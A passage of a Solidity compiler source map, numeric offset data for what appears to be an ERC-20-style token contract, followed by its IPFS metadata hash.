;;::::1;::::0;;;8734:9:::1;:14:::0;;;::::1;;-1:-1:-1::0;;;8734:14:0::1;-1:-1:-1::0;;;;8734:14:0;;::::1;::::0;;;::::1;::::0;;8759:18:::1;:23:::0;8529:261::o;1813:148::-;1725:7;;-1:-1:-1;;;;;1725:7:0;139:10;1725:23;1717:68;;;;-1:-1:-1;;;1717:68:0;;5121:2:1;1717:68:0;;;5103:21:1;;;5140:18;;;5133:30;5199:34;5179:18;;;5172:62;5251:18;;1717:68:0;4919:356:1;1717:68:0;1920:1:::1;1904:6:::0;;1883:40:::1;::::0;-1:-1:-1;;;;;1904:6:0;;::::1;::::0;1883:40:::1;::::0;1920:1;;1883:40:::1;1951:1;1934:19:::0;;-1:-1:-1;;;;;;1934:19:0::1;::::0;;1813:148::o;3199:104::-;3255:13;3288:7;3281:14;;;;;:::i;4835:377::-;139:10;4928:4;4972:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4972:34:0;;;;;;;;;;5025:35;;;;5017:85;;;;-1:-1:-1;;;5017:85:0;;6695:2:1;5017:85:0;;;6677:21:1;6734:2;6714:18;;;6707:30;6773:34;6753:18;;;6746:62;-1:-1:-1;;;6824:18:1;;;6817:35;6869:19;;5017:85:0;6493:401:1;5017:85:0;5113:67;139:10;5136:7;5145:34;5164:15;5145:16;:34;:::i;5113:67::-;-1:-1:-1;5200:4:0;;4835:377;-1:-1:-1;;;4835:377:0:o;3663:175::-;3749:4;3766:42;139:10;3790:9;3801:6;3766:9;:42::i;7939:582::-;-1:-1:-1;;;;;8041:19:0;;8033:68;;;;-1:-1:-1;;;8033:68:0;;6290:2:1;8033:68:0;;;6272:21:1;6329:2;6309:18;;;6302:30;6368:34;6348:18;;;6341:62;-1:-1:-1;;;6419:18:1;;;6412:34;6463:19;;8033:68:0;6088:400:1;8033:68:0;-1:-1:-1;;;;;8120:21:0;;8112:68;;;;-1:-1:-1;;;8112:68:0;;3902:2:1;8112:68:0;;;3884:21:1;3941:2;3921:18;;;3914:30;3980:34;3960:18;;;3953:62;-1:-1:-1;;;4031:18:1;;;4024:32;4073:19;;8112:68:0;3700:398:1;8112:68:0;8224:8;;-1:-1:-1;;;;;8206:26:0;;;8224:8;;8206:26;8205:56;;;;-1:-1:-1;8238:14:0;;-1:-1:-1;;;8238:14:0;;;;:22;;8256:4;8238:22;8205:56;8201:216;;;-1:-1:-1;;;;;8278:22:0;;;;;;:13;:22;;;;;;;;:29;;-1:-1:-1;;8278:29:0;;;8303:4;8278:29;;;;8322;:38;;;;;;:46;;;;;;;8383:14;:22;;-1:-1:-1;;;;8383:22:0;;;8201:216;-1:-1:-1;;;;;8429:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8481:32;;7045:25:1;;;8481:32:0;;7018:18:1;8481:32:0;;;;;;;7939:582;;;:::o;5220:1822::-;-1:-1:-1;;;;;5326:20:0;;5318:70;;;;-1:-1:-1;;;5318:70:0;;5884:2:1;5318:70:0;;;5866:21:1;5923:2;5903:18;;;5896:30;5962:34;5942:18;;;5935:62;-1:-1:-1;;;6013:18:1;;;6006:35;6058:19;;5318:70:0;5682:401:1;5318:70:0;-1:-1:-1;;;;;5407:23:0;;5399:71;;;;-1:-1:-1;;;5399:71:0;;3074:2:1;5399:71:0;;;3056:21:1;3113:2;3093:18;;;3086:30;3152:34;3132:18;;;3125:62;-1:-1:-1;;;3203:18:1;;;3196:33;3246:19;;5399:71:0;2872:399:1;5399:71:0;-1:-1:-1;;;;;5567:17:0;;5543:21;5567:17;;;:9;:17;;;;;;5603:23;;;;5595:74;;;;-1:-1:-1;;;5595:74:0;;4305:2:1;5595:74:0;;;4287:21:1;4344:2;4324:18;;;4317:30;4383:34;4363:18;;;4356:62;-1:-1:-1;;;4434:18:1;;;4427:36;4480:19;;5595:74:0;4103:402:1;5595:74:0;5724:8;;-1:-1:-1;;;;;5705:27:0;;;5724:8;;5705:27;5704:51;;;;-1:-1:-1;5738:7:0;;-1:-1:-1;;;5738:7:0;;;;:16;5704:51;5700:140;;;5793:4;;5772:18;:25;5812:9;:16;;-1:-1:-1;;;;5812:16:0;-1:-1:-1;;;5812:16:0;;;5700:140;5880:8;;-1:-1:-1;;;;;5861:27:0;;;5880:8;;5861:27;5860:50;;;;-1:-1:-1;5894:7:0;;-1:-1:-1;;;5894:7:0;;;;:15;;5905:4;5894:15;5860:50;5856:144;;;-1:-1:-1;;;;;5927:24:0;;;;;;:13;:24;;;;;:31;;-1:-1:-1;;5927:31:0;5954:4;5927:31;;;5973:7;:15;;-1:-1:-1;;;;5973:15:0;;;5856:144;-1:-1:-1;;;;;6020:21:0;;;;;;:13;:21;;;;;;;;6016:564;;6081:10;;6072:6;:19;6067:76;;;6113:14;;;;6182:18;;6173:6;:27;6165:36;;;;;;6220:9;;-1:-1:-1;;;6220:9:0;;;;:17;;6233:4;6220:17;6216:353;;;-1:-1:-1;;;;;6262:37:0;;;;;;:29;:37;;;;;;;;:45;;:37;:45;6258:167;;;6332:73;;-1:-1:-1;;;6332:73:0;;3478:2:1;6332:73:0;;;3460:21:1;3517:2;3497:18;;;3490:30;3556:34;3536:18;;;3529:62;3627:25;3607:18;;;3600:53;3670:19;;6332:73:0;3276:419:1;6332:73:0;-1:-1:-1;;;;;6443:37:0;;;;;;:29;:37;;;;;:44;;-1:-1:-1;;6443:44:0;6483:4;6443:44;;;6506:47;6473:6;6537:15;6506:22;:47::i;:::-;6662:8;;6620:6;;-1:-1:-1;;;;;6652:18:0;;;6662:8;;6652:18;;;;6651:47;;-1:-1:-1;6689:8:0;;-1:-1:-1;;;;;6676:21:0;;;6689:8;;6676:21;;6651:47;6647:212;;;6749:3;;6743:9;;:3;:9;:::i;:::-;6727:12;6736:3;6727:6;:12;:::i;:::-;:26;;;;:::i;:::-;6715:38;;6768:18;6804:3;;6798;6789:6;:12;;;;:::i;:::-;:18;;;;:::i;:::-;6768:39;;6822:25;6828:6;6836:10;6822:5;:25::i;:::-;6700:159;6647:212;6899:25;6915:9;6899:13;:25;:::i;:::-;-1:-1:-1;;;;;6879:17:0;;;;;;;:9;:17;;;;;;:45;;;;6935:20;;;;;;;;:33;;6959:9;;6879:17;6935:33;;6959:9;;6935:33;:::i;:::-;;;;;;;;7003:9;-1:-1:-1;;;;;6986:38:0;6995:6;-1:-1:-1;;;;;6986:38:0;;7014:9;6986:38;;;;7045:25:1;;7033:2;7018:18;;6899:177;6986:38:0;;;;;;;;5307:1735;;5220:1822;;;:::o;8902:214::-;9029:5;9001:24;9019:6;9001:15;:24;:::i;:::-;9000:34;8996:113;;;-1:-1:-1;;;;;9051:38:0;;9092:5;9051:38;;;:29;:38;;;;;:46;;-1:-1:-1;;9051:46:0;;;8996:113;8902:214;;:::o;7578:353::-;-1:-1:-1;;;;;7654:21:0;;7646:67;;;;-1:-1:-1;;;7646:67:0;;5482:2:1;7646:67:0;;;5464:21:1;5521:2;5501:18;;;5494:30;5560:34;5540:18;;;5533:62;-1:-1:-1;;;5611:18:1;;;5604:31;5652:19;;7646:67:0;5280:397:1;7646:67:0;-1:-1:-1;;;;;7726:18:0;;;;;;:9;:18;;;;;:28;;7748:6;;7726:18;:28;;7748:6;;7726:28;:::i;:::-;;;;-1:-1:-1;;7775:42:0;7765:53;;;;:9;:53;;;:63;;7822:6;;7765:53;:63;;7822:6;;7765:63;:::i;:::-;;;;-1:-1:-1;;7844:78:0;;7045:25:1;;;7870:42:0;;-1:-1:-1;;;;;7844:78:0;;;;;7033:2:1;7018:18;7844:78:0;;;;;;;7578:353;;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:160::-;257:20;;313:13;;306:21;296:32;;286:60;;342:1;339;332:12;357:186;416:6;469:2;457:9;448:7;444:23;440:32;437:52;;;485:1;482;475:12;437:52;508:29;527:9;508:29;:::i;:::-;498:39;357:186;-1:-1:-1;;;357:186:1:o;548:260::-;616:6;624;677:2;665:9;656:7;652:23;648:32;645:52;;;693:1;690;683:12;645:52;716:29;735:9;716:29;:::i;:::-;706:39;;764:38;798:2;787:9;783:18;764:38;:::i;:::-;754:48;;548:260;;;;;:::o;813:328::-;890:6;898;906;959:2;947:9;938:7;934:23;930:32;927:52;;;975:1;972;965:12;927:52;998:29;1017:9;998:29;:::i;:::-;988:39;;1046:38;1080:2;1069:9;1065:18;1046:38;:::i;:::-;1036:48;;1131:2;1120:9;1116:18;1103:32;1093:42;;813:328;;;;;:::o;1146:460::-;1232:6;1240;1248;1256;1264;1317:3;1305:9;1296:7;1292:23;1288:33;1285:53;;;1334:1;1331;1324:12;1285:53;1357:29;1376:9;1357:29;:::i;:::-;1347:39;;1405:35;1436:2;1425:9;1421:18;1405:35;:::i;:::-;1395:45;;1459:35;1490:2;1479:9;1475:18;1459:35;:::i;:::-;1449:45;;1513:35;1544:2;1533:9;1529:18;1513:35;:::i;:::-;1146:460;;;;-1:-1:-1;1146:460:1;;1595:3;1580:19;1567:33;;1146:460;-1:-1:-1;;1146:460:1:o;1611:254::-;1679:6;1687;1740:2;1728:9;1719:7;1715:23;1711:32;1708:52;;;1756:1;1753;1746:12;1708:52;1779:29;1798:9;1779:29;:::i;:::-;1769:39;1855:2;1840:18;;;;1827:32;;-1:-1:-1;;;1611:254:1:o;2270:597::-;2382:4;2411:2;2440;2429:9;2422:21;2472:6;2466:13;2515:6;2510:2;2499:9;2495:18;2488:34;2540:1;2550:140;2564:6;2561:1;2558:13;2550:140;;;2659:14;;;2655:23;;2649:30;2625:17;;;2644:2;2621:26;2614:66;2579:10;;2550:140;;;2708:6;2705:1;2702:13;2699:91;;;2778:1;2773:2;2764:6;2753:9;2749:22;2745:31;2738:42;2699:91;-1:-1:-1;2851:2:1;2830:15;-1:-1:-1;;2826:29:1;2811:45;;;;2858:2;2807:54;;2270:597;-1:-1:-1;;;2270:597:1:o;7270:128::-;7310:3;7341:1;7337:6;7334:1;7331:13;7328:39;;;7347:18;;:::i;:::-;-1:-1:-1;7383:9:1;;7270:128::o;7403:217::-;7443:1;7469;7459:132;;7513:10;7508:3;7504:20;7501:1;7494:31;7548:4;7545:1;7538:15;7576:4;7573:1;7566:15;7459:132;-1:-1:-1;7605:9:1;;7403:217::o;7625:168::-;7665:7;7731:1;7727;7723:6;7719:14;7716:1;7713:21;7708:1;7701:9;7694:17;7690:45;7687:71;;;7738:18;;:::i;:::-;-1:-1:-1;7778:9:1;;7625:168::o;7798:125::-;7838:4;7866:1;7863;7860:8;7857:34;;;7871:18;;:::i;:::-;-1:-1:-1;7908:9:1;;7798:125::o;7928:380::-;8007:1;8003:12;;;;8050;;;8071:61;;8125:4;8117:6;8113:17;8103:27;;8071:61;8178:2;8170:6;8167:14;8147:18;8144:38;8141:161;;;8224:10;8219:3;8215:20;8212:1;8205:31;8259:4;8256:1;8249:15;8287:4;8284:1;8277:15;8141:161;;7928:380;;;:::o;8313:127::-;8374:10;8369:3;8365:20;8362:1;8355:31;8405:4;8402:1;8395:15;8429:4;8426:1;8419:15
Metadata Hash
ipfs://79e9bd95ee7918bc8ea095d10aacaab13e4682ba09b03c68e8fd1c2ce781381f